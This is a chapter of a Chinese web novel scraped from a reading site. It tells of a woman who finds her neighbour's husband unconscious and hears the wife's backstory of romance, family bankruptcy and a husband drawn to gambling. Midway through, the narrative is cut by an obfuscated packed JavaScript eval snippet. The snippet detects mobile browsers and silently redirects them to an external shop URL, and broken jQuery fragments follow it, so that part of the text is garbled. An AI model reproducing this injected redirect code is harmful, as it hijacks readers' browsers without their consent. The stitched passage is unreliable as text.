123读书网 > 都市小说 > 误入凶案现场后 > 3. 凶案
    801的男人躺在地上,后脑肿了一块,像颗畸形的猕猴桃。


    “他这……你……”孟佳期指他,又指向女人,嘴唇发抖,惊得说不出话。


    下秒,女人的手按上门把,啪地将门关上。


    孟佳期吓坏了,手上的礼物袋掉落,茶壶滚到地上,摔成两瓣。两腿发软,手扶着桌子,强撑住身体后退,结结巴巴地求饶:“姐。我……只是来送礼……咱们邻居一场,我、我要搬走了……我什么都没看见……我不会往外说的……你要冷静……”


    孟佳期大脑一片空白,想到什么说什么,完全不管逻辑,只想尽快逃离是非之地。


    女人挡在门前,猩红的眼睛像燃烧的湖泊,熊熊怒火下是平静的绝望。


    女人没有为难她,眨了眨眼,眼泪像断线的珍珠,落了一地。她捂着脸,堪堪支撑的身体瞬间垮塌,跌坐在地:“怎么办啊。怎么办啊。”


    孟佳期递纸:“你别哭啊。到底怎么了?”


    女人挪了挪屁股,抱怨家里的糟心事。


    孟佳期抬眸,瞧了眼大门。女人背靠着大门,堵得严严实实。在心里猛猛抽自己三个大嘴巴,抽她该死的同情心,抽她多管闲事,抽她不快跑一定会后悔。


    心里这么想。


    身体却换了个更舒服的蹲姿。


    在这住了两年多,孟佳期没去过业主大会,周围邻居只是出门倒垃圾的点头之交。801的情况听前任房主提过一嘴,具体情况到今天才知晓。


    801的女人叫潘美亚,躺在地上的是她的丈夫叶伟庆,两人结婚十三年,有个10岁的女儿。叶伟庆本是银行信贷经理,沾染赌博恶习后被银行辞退,现在在百货公司当仓管。两人总吵架,怕影响女儿,女儿送到公婆那,周末再接回来。


    难怪周末比工作日安静,原来是考虑到女儿。


    孟佳期不解:“怎么不离婚呢?”


    潘美亚仰着头,眼泪再次滑落,胸口起伏,紧锁的眉头似有千言万语,但最终只是轻轻摇了摇头:“没那么容易。”


    潘美亚和叶伟庆是大学同学。


    她读艺术管理,他读金融。


    那年,她大一,他大三。


    新生大会迟迟不开始,同学们等得昏昏欲睡,直到潘美亚踏进教室。她身材高挑,穿着时髦,坐在阶梯教室的第一排,抬手将大波浪随意地别到耳后,露出枚复古的豹纹耳坠,饱满的红唇像抿过红酒,看得人心醉。


    音乐系来了个大美女的消息不胫而走,全校轰动,来搭讪的男人排着长龙。潘美亚特别厌烦,感觉自己像动物园里被围观的猩猩。她穿得越来越随便,也不化妆了,每次上课都坐后排,用尽招数降低存在感。


    艺术学院的俊男美女多,同学们渐渐将兴趣转移到别人那去。


    艺术管理和金融系有相同的课程。


    经济学教授病假,大四的学生轮流代课。大四的学生忙着考公,忙着考研,上课态度很敷衍,叶伟庆最认真,做了PPT,给他们留作业,还会批改。潘美亚的室友们颇有怨言,说他是拿个鸡毛当令箭。但她不这么认为,西方经济学是必修课,课程复杂,只靠自学很难,教授请了一个月的病假,若是没有叶伟庆,期末都得挂。


    潘美亚拿着数学题去图书馆找他。


    他趁势提出加个联系方式。


    潘美亚打趣:“这算搭讪吗?”


    “这算追求。”他纠正。


    某种说不清道不明的东西都在这几秒的对视里浓得化不开。潘美亚低头,视线却聚焦不到题目上,一股热气顺着尾骨慢慢往上爬。


    两人加了联系方式,聊天内容从学术讨论延展到生活。叶伟庆长得周正,身姿挺拔,衣品不错,袖扣是特意挑选的,休闲裤挽起一截,故意露出白皙修长的脚踝。他说潘美亚是他的第一个女朋友。潘美亚说她才不信。踮脚,捏着他的脸夸他长得有几分姿色。


    潘美亚抱着玩玩的心态答应他,过程中却上了头,各种找机会追问他的前女友。


    叶伟庆竖起三根手指立誓:“真的没有。”


    潘美亚环胸:“为什么不谈?”


    叶伟庆气乐了:“我非得有十个八个前女友你才满意?”


    “那也不是。”潘美亚的指尖戳在他胸口,“这么多年,一个喜欢的都没有?”


    “只有你。”叶伟庆握住她手腕,手掌一转,十指紧扣地揣进兜里。


    深秋时节,学校的墙根长出猫了,一只又一只,四仰八叉地倒在那,肚皮的毛晒过阳光,油亮油亮的,好不惬意。潘美亚打了个呵欠,却呛进一口风。叶伟庆笑着轻抚她后背:“嘴张那么大,呛风了吧。”


    “我乐意。管得着么。”


    “是是是。”


    打闹中,叶伟庆忽然松开她的手,两手揣进风衣。


    被他暖过的手还留着他的温度,这刻突然空了,潘美亚有些不适应,索性背到身后。走了一段,越想越气,凭什么他想牵手就牵手,想放开就放开啊!


    “喂。”


    “嗯?”


    两人面对面地站着。一个撇着嘴生闷气,一个布满疑问的眼睛黑黢黢的。谁也不说话,只是这么看着。


    他笑着打破沉默:“怎么了?”


    “你说呢?”潘美亚更不爽了,语气带着质问的口吻。


    叶伟庆不接招,甚至有些委屈:“你说不许我管的。”


    “你你你……”潘美亚气得两手叉腰,脑子急速运转想着怎么怼回去,下一秒,手腕被捉住,强势地拉到身边,重新十指紧扣地牵牢她的手揣进衣兜。他的掌心干燥而温热,恰好裹住她微凉的手指。


    潘美亚舔了舔唇。


    听到他说:“我想管你。还得管一辈子呢。”


    她的脸唰地红了。被他牵着手,拖着走。她踩在他的身影里,下意识抿紧唇,怕一开口,那颗不听话的心就要跳出来了。


    走了许久,她又提起那个问题:“你真没谈过?”


    “真的没有。”叶伟庆无奈,“你这么不相信我?”


    “就……”她噘嘴,“感觉你很会。”


    “我会什么了。”


    “这种事。”


    “没什么。”叶伟庆耸肩,语气漫不经心,高昂的头颅又带着点傲气,“无师自通呗。”


    潘美亚发出一声长长的揶揄:“哦~”


    ~


    叶伟庆有个她很喜欢的点——


    坦诚。


    她问什么,他就回答什么。交往三个月,就把他家里的情况摸透。


    但他一点没问她的情况。


    “你不好奇吗?”她问。


    他无所谓地:“你想说的时候自然会告诉我吧。”


    潘美亚低低地应‘嗯’。


    潘美亚的父亲经商,母亲年轻时是话剧团的,怀孕后,离开剧团,重心转移到家庭,偶尔帮父亲打理些生意上的事。潘美亚家境好,长得漂亮,从不缺追求者。不觉得男人的喜欢有多珍贵,总在怀疑他们只是喜欢她的美貌和家境,不是她这个人。


    叶伟庆没问她家境,她有些欣喜又觉得理所当然。艺术学院没穷人是公认的,她在他眼里也许就是普通有钱和更有钱的差别,没必要问。


    人真是种复杂的动物。


    心里有预设答案后,对方怎么做都是错的。


    她决定做个小测试。


    破天荒地去男寝楼下堵他。她的大波浪太显眼,刚踏进宿舍区,楼上就有侦察兵通风报信,叫叶伟庆‘快下楼,老婆来了’。男生的叫喊在走廊回荡,听得她想找个地缝钻进去。


    叶伟庆下楼,牵着她往操场走:“想我了?”


    “嗯。”她娇羞。


    叶伟庆大手一挥:“走。带你看电影去。”


    “等等。”潘美亚扯住他,扭捏道,“我有事求你帮忙。”


    叶伟庆微讶:“不用求。直接说。”


    “这个月我家里没给我打生活费。”


    “我给你。”


    “我给你写借条。”


    “没事。不用。”


    叶伟庆立刻去门口银行取钱,先给她两周的生活费。


    过了两周,潘美亚又去找他借钱。


    叶伟庆将银行卡里的钱全取出来,都给她。


    潘美亚仰着脸:“那你怎么办?


    “我再向家里要。”


    “谢谢。”


    “没事。”


    又一周,她再次找到叶伟庆。


    他皱眉:“花完了?”


    “不是。”潘美亚捂着脸,肩膀抖动,“我爸生意出问题了,公司破产,没办法给我打生活费了。”


    叶伟庆带着她去食堂。在三楼的教师食堂点小灶,坐在最角落。潘美亚把编排好的故事一股脑说出来,她很担心哭不出来,结果叶伟庆点了水煮鱼,锅下点着酒精块,麻椒在水里翻滚,蒸腾的烟雾辣得她流泪。


    叶伟庆沉默地吃鱼,辣得满脸汗。


    他脱掉外套,忽然起身离开。


    看着他果决的背影,潘美亚心想完了,要提分手了,玩笑开大了。


    隔了会,他拎着两罐可乐回来,给她的那瓶已经拉开,插好吸管。他依旧沉默,但神色轻松了些。


    “还要点什么吗?”他问。


    她摇头。


    她深呼吸:“你要和我分手吗?”


    “啊?”叶伟庆震惊,“我没有啊。”


    “那你这是……”


    “带你吃点好的。痛快哭一场。然后……唉……”他拍了拍她肩膀,“我家说好会给我买房。到时候,让你爸妈跟咱俩一块住吧。我会努力赚钱,一定够养活你们的。让叔叔阿姨不要太难过,会好起来的。”


    “那你爸妈……会……”


    叶伟庆点了点她鼻尖:“我同意就够了。”


    压在她头顶的愁云散去,她笑容灿烂,相信他不是因为家境喜欢她。


    她低头:“对不起……”


    “嗯?”叶伟庆愣住。


    她和盘托出,举起的两手作出求饶的姿势:“我错啦。不要生气。”


    叶伟庆故意板着脸:“不行。我生气了!”


    “我错了嘛。”潘美亚归还之前拿的钱,“都在信封里。我没动。”


    “不是钱的事。”叶伟庆拉出空空的衣兜和裤兜,“什么都给你了。你还是不信任我。我是真的很喜欢你,想和你过一辈子的。”


    “我相信的!”


    最后,潘美亚用亲吻安抚好他。


    ~


    六月,叶伟庆考入银行编。毕业典礼结束是最后一次班级聚会。潘美亚也去了,作为家属。她送了他一枚胸针。纯金的。


    周围同学起哄:“伟庆真好命啊,有个白富美老婆!”


    叶伟庆小声说:“以后别买了,太贵,没必要。”


    潘美亚颇为豪迈:“‘我有钱。愿意给你花。”


    叶伟庆的笑容凝固了:“搞得我好像小白脸。”


    潘美亚没听出其中酸味:“想当小白脸也不是不行。”


    “别别别。”叶伟庆义正言辞地拒绝,“吃软饭多丢人,不如杀了我。”


    要毕业了,临别的话像瀑布,砍不断,说不完。


    酒过三巡,同学们越聊越欢。


    叶伟庆的上铺提起:“美亚。从你入学,他就看上你了。天天在宿舍说。特意跑去你们学院做新生活动的志愿者,结果你没看上他。当晚回来,拎着一瓶酒,边喝边唱《痴心绝对》。”


    其他室友附和:“对对对。他真的……超爱你。看各种时尚杂志学穿搭,就为了吸引你注意。买定型膏,喷香水,天天骚包。你要再看不上他,他真的要疯了。”


    “说够没有。闭嘴吧。”叶伟庆黑着脸。


    潘美亚推开他:“你们继续说。”


    “你俩恋爱,他到处问女生喜欢什么。”室友一个接一个地爆料。潘美亚第一次知道他在背后做了这么多事,为她流泪,为她心碎,越听越合不拢嘴,戳了戳他腹肌,“你嘴还挺严的。一点不透给我。”


    叶伟庆笑不出来,从头到尾都顶着张黑脸。


    ~


    大四,潘美亚将留学的想法告诉父母。从小到大,她的愿望从不落空,想要天上的星星,父母都会想方设法联系天文系教授,给她买个命名权。


    可这次,母亲沉默了。


    “妈。怎么了?”


    母亲说:“你爸的生意出了点问题。”


    投资向来是有赚有赔,潘美亚以为这次和以往一样,有点难过,要留学却遇上公司低谷,但很快打起精神:“没事。那我不去了。在国内读也一样。”


    母亲同样面露难色:“其实……我们希望你能先就业……”


    潘美亚愣住。有计划被打乱的慌乱,也有对家中经济状况的担忧。连她上学都供不起了吗?母亲的脸色很难看,潘美亚张着嘴,不知道怎么问了。


    许久,她答应:“好。我会努力找工作。”


    ~


    下午,高中朋友问她要不要去逛街。潘美亚爽快答应,正想找个地方发泄情绪。知道家里境况不好,她没买贵的,挑了个一千块的银手镯。


    “手镯可不能买银的啊。多不吉利。喏……”朋友拿起一个铂金的在她手腕比划,“这个好看。”


    潘美亚低头,铂金的要一万块。


    她笑了笑:“我总是乱放,记性又不好,容易丢。戴着玩的买普通的就行。”


    柜员指引她去柜台结账。


    “刷卡吧。”她掏出父亲给的副卡。


    柜员刷了两次:“您的卡被停了。”


    “啊?”潘美亚身上现金不够,除了副卡就是用来交学费的生活卡。优渥的家境导致她花钱大手大脚,一个月找父母讨好多次生活费。这学期实习,体会到赚钱艰难,慢慢养成记账攒钱的习惯。她学着节省,还有实习工资,这学期没找父母要钱,生活卡里没多少钱。她从没这么窘迫,涨红脸,“我、我想起家里有个一样的。不买了。对不起啊。”


    她低着头,不敢看柜员的脸色,拉着朋友灰溜溜地跑了。


    两人坐在咖啡厅。


    朋友问:“怎么不买了?”


    她解释:“忘带银行卡了。”


    “嗐。多大事。跟我说啊。我先帮你刷。”


    “算了。也没特别想要。”


    “对了。”朋友抿了口咖啡,瞄向她身后的挎包,“你的包……”


    “怎么了?”潘美亚拿过背包,“我爸送我的生日礼物。”


    “这款我也买了。纽扣不是这样的。”朋友翻开手机盖,找到拍摄的照片,“你看。这款特别难抢,专柜都要捆售。好多卖A货的黄牛。你爸不会被骗了吧?”


    潘美亚心沉了,仍强装镇定地说:“不清楚呀。我回去问问。”


    回到家,她无视母亲的问话,冷着脸上楼,打开衣帽间,发现保险箱里的珠宝首饰不翼而飞,柜子里的名牌包和衣服,丢的丢,换的换。


    母亲追上楼:“美亚。”


    她手指颤抖:“我的东西呢?”


    “我看这些你都不用……”


    潘美亚很生气:“你们要用可以和我说啊。我愿意拿出来还钱啊。”她扯出柜子里的冒牌货,“直接拿走算了。为什么要换成假货啊!你知道我今天有多丢人吗!”


    “对不起……”


    “这是爸爸的主意吗?”


    “嗯。”


    潘美亚气昏头,手扶着额头,坐在床边愣神。


    过了很久,她拉着母亲的手:“妈。你跟我说实话。公司到底是什么情况?”


    母亲终于说了实话,公司这两年接连亏损,今年资金链断了,业务停摆,拉不到新投资,之前投资的项目欠着尾款,家里能换钱的都拿去变卖抵债了。


    潘美亚心疼:“为什么不早和我说?”


    “你还在上学,你能有什么办法。”


    “我可以省点生活费啊。”


    “这学期生活费学费都是你自己付的。已经在为我们省钱了。”


    潘美亚拉开抽屉:“这里还有一张存压岁钱的……”


    母亲说:“已经取出来了。”


    潘美亚长叹,合上抽屉:“妈。这次会好起来吗?”


    “会吧。”母亲回答得很勉强。


    ~


    突如其来的变故打断计划,潘美亚只能拼了命地抓住所有机会。大四一年,她一边实习,一边考各种证,不管有用没用,先考再说。


    毕业这年,艺术学院的同学大部分选择继续深造,她背着包在各个春招处投简历。家里的经济状况更糟糕了,别墅抵押出去,一家人搬回旧家,旧房的卧室还没她的衣帽间大。潘美亚以为她会哭,但没有。躺在旧家的床上,虽然狭窄,可父母都在身边,睡得也算安稳。


    父母对没供她读研抱歉,她愧疚没能力填补家里的资金缺口。


    四月,她考上芦城的教师编,在电话里向母亲汇报:“六月拿到毕业证学位证,我就能去中学办理入职了。学校距离咱们家半小时车程。不远。”


    “你明晚有空吗?”


    “有的呀。”


    “你爸的一个朋友在丽华酒店设宴,你一起去吧。”


    “可以呀。”


    潘美亚跟父母出席过一些商业聚会,以为这次和以前一样。到了酒店发现是个大包间,只有一张大圆桌,角落摆着一架钢琴。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496469|202530||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她打电话给父亲,父亲说要处理些公事来不了,这位朋友喜欢古典乐,让她陪着好好聊聊,留个好印象,方便他拉投资。


    潘美亚担心:“爸,你真不来吗?那妈妈呢?我一个人,我担心……”


    “你多和他聊些古典乐。实在没话聊,弹琴也行。他去世的太太是钢琴老师。”


    潘美亚眉头紧锁。妻子去世是多伤心的事啊,她再弹琴,不是触景生情么。她刚要反驳,电话被挂断,只剩嘟嘟嘟的忙音。


    赴宴的男人看着和她爸差不多大,她礼貌地称呼对方叔叔。男人却说这么称呼生疏了,叫名字就行。客随主便,她硬着头皮叫。


    席间,她弹了三首钢琴曲,他夸她技艺精湛,她自谦地说是钢琴好。他比她想象的风趣,也没什么代沟。两人从音乐聊到文学,又从文学聊到生活。


    他突然提到婚后想生两个孩子。


    她尴尬地举杯:“祝你找到合适的妻子。”


    对方也愣住了:“你爸爸没告诉你今天是来相亲的吗?”


    “噗。”潘美亚惊得直接喷出来了,红酒沾染桌巾。他让服务生进来更换桌布,给她换了碳酸饮料。


    男人继续说家里的情况,谈未来的期许。潘美亚一个字也听不进去,尿遁跑了。逃到洗手间,洗了把脸,脑袋越昏沉了。她打电话给父亲,父亲没接,转而打给母亲。母亲同样知情,安抚她只是相亲,不愿意就算了,但强调一句,这人手里的资金能挽救父亲的公司。


    潘美亚愤怒:“为了钱,你要把我卖给这个老头子?”


    母亲纠正:“他比你爸爸小十五岁呢。不算老头。”


    潘美亚更大声了:“那也比我大二十岁啊!这就是老头!我有男朋友啊!不都和你说过了吗?”


    “银行那个吗?”母亲嗤笑,“银行工资才多少,能有什么出息。”


    “我爸有出息。现在不也欠债了嘛。”


    “你爸也不想欠债啊!从小到大,爸爸妈妈都没苛待过你,要什么给什么,现在请你陪投资人吃一顿饭而已,有这么难吗!又不是强迫你嫁给他。”


    “爸爸为什么一开始不说实话?”


    电话那头忽然安静了。


    潘美亚替她回答:“因为他知道,一开始就说是相亲,我肯定不会来。你们这是诈骗!是买卖!”


    母亲还想解释。


    她不想再听,直接挂断。这破地方,她一秒也待不下去,放在包房的外套和背包也懒得去取。提着裙子离开,走在路上,冷风吹乱头发,她边哭边走,没有钱,也不知道要去哪里。


    走了很久,脚被高跟鞋磨肿。


    她打电话给叶伟庆:“我在立新路的十字路口。”


    只一句,叶伟庆立刻赶到。


    她蹲在路边,妆全花了,竟然有路过的人往她面前丢钱,把她当成乞讨的。哭到最狼狈的时候,眼泪已经流不出来了,整个人都缩在路灯下,肩膀颤抖。


    忽然,一双鞋出现在视线里。


    近得几乎碰到她脚尖。


    这人来得很急,喘着气,热气均匀地喷在她脖颈。


    她抬头。


    他的脸一半在光里,一半在阴影里,看不清神情,但她知道是叶伟庆,他是这个城市里她最后的依靠。


    “吃饭了么?”叶伟庆将外套披在她肩膀,陪她坐在路边。


    说到吃,潘美亚想到今天的晚宴,胃里翻涌,转身趴在垃圾桶边,一股脑全吐了。叶伟庆手搭在她后背轻拍,递纸给她,又去附近便利店买矿泉水和面包。


    “你喝酒了。漱口后,还是要吃一点东西。不然伤胃。”


    “我爸妈要卖掉我!”补充进水分,潘美亚的眼泪再次决堤,泣不成声,分了好几次,把家里破产的事告诉他。


    叶伟庆问:“这次是真的吧?”


    潘美亚锤他:“我这么惨了!你还开玩笑!”


    叶伟庆拉起她:“跟我走。”


    站起来的时候,她回头看了眼刚才蹲着的地方,路灯依旧亮着,什么痕迹都没留下,但有些东西已经不一样了。


    他拉着她的手往前走。


    她的英雄没有披风,没有铠甲,连拉链外套都没来得及拉好。可他逆着光走向她时,就是她的勇气。


    “这是银行的单身公寓。”他把钥匙给她,“这段时间,你不想回家,也不想住学校的话,可以住这。”


    “那你呢?”


    “我回家住。”


    “好吧。”


    潘美亚失落:“我以为你会陪我。”


    “我可以。但……”叶伟庆红了脸,“没结婚住一起,不太好吧。”


    “嗯。”她抿唇,也红了脸。


    “我给你煮面。”


    “好。”


    那晚,叶伟庆特意下楼去买了她喜欢的虾滑加进汤面。看得出来,他不会做家务,荷包蛋煮成蛋花汤,虾滑二次回锅才煮熟。


    “对不起。我会学的。”


    “没关系啊。我觉得很好吃。”


    那碗虾滑鸡蛋面,潘美亚至今想起,仍是她吃过的最好吃的一碗面。


    ~


    毕业后,她顺利入职,搬进学校提供的青年教师宿舍。她不再和家里来往,父母打过很多电话和她道歉,她要么不接,要么让叶伟庆接。


    又一年,父亲的公司宣告破产,资不抵债,被列入失信人员名单。无力偿还债务的他跳海了。葬礼那天,她又见到了母亲。


    她苍老了很多,两鬓斑白,眼角爬满细纹。她是学舞蹈的,身形很好,这刻却佝偻着,听说这一年,她四处奔波,求了很多人,都没能挽救公司,没能救回父亲。


    “对不起。”母亲向她道歉。


    “算了。”潘美亚不是原谅他们,是不想再揭开伤疤。父亲的遗嘱她看过了,他走的时候,还算个男人。债务是他以个人名义签的,人死债消,没有波及妻女。母亲名下的两套房保住了。


    母亲拿出一本房产证:“这是我们留给你结婚用的。”


    潘美亚没收:“您留着养老吧。”


    ~


    又两年。


    潘美亚和叶伟庆结婚了。


    婚前,叶伟庆家里在金水湾买了一套80平的期房。总价80w,首付40w是他父母掏的,剩余40w是叶伟庆贷款的,15年期,月供三千四。两人结婚,房子刚好交付,叶伟庆在房本里加上她的名字。


    两人都是事业编,稳定,待遇好,朋友亲戚直呼般配。


    婚后第三年,潘美亚生下女儿。


    年底,潘美亚被评为市级优秀教师,叶伟庆也升职加薪。


    房价涨到两万了,两人商议在同小区再买一套三房,作为投资,也方便老人来帮忙照看孩子。购买的三房总价220w,两人出资150w,双方父母各自掏了35w,房子依旧登记在两人名下。


    母亲因为父亲的骤然离世,伤心过度,身体大不如前,没法帮忙照看孩子。潘美亚不想和老人住在一起,于是,夫妻俩仍住在原来的两房,叶伟庆把父母接到新买的三房。白天把孩子送过去,下班再接回来。都在同个小区,走路就五分钟,接送方便又各自独立。


    ~


    而后五年,是潘美亚最开心的日子。


    她是中学音乐老师,除了上课,还会带学生去参加各种比赛。带的学生很争气,拿回不少奖项,她作为指导老师,名字也挂在荣誉榜上,每年评优都有她。叶伟庆在信贷部一路高升,手握许多人脉资源,经常带她出入高消场所,说是客户送的内部劵。


    叶伟庆提前还完房贷,请保姆帮忙,减轻父母和夫妻俩的压力。


    潘美亚的衣柜添置了新的名牌包。


    有她靠自己的工资买的,也有丈夫送的礼物。


    ~


    婚后第九年,女儿要上小学了。


    两人在芦城有很多选择,一番纠结,选了金水湾的学区,小学差距不大,重点在初中派位。听说一中要在附近建分校,六年后有机会派位到一中。


    潘美亚忙着孩子上学报名的事,叶伟庆收拾行李,说要陪客户去一趟澳门。


    这次出差,他去了两周,回家倒头就睡。潘美亚收拾行李时,发现箱底有一枚赌场筹码。


    晚上,她问:“你去赌场了?”


    叶伟庆承认:“是啊。这是个旅游项目。每个去的游客都会去体验。”


    “真的?”潘美亚再次确认。


    叶伟庆捏着那枚筹码:“你看。这是赌场送的体验币。体验的我都没用完,不能折现,就带回来当个纪念。”


    “好吧。”潘美亚相信他了。


    岂料,‘相信他’会变成潘美亚这辈子最后悔的一个决定。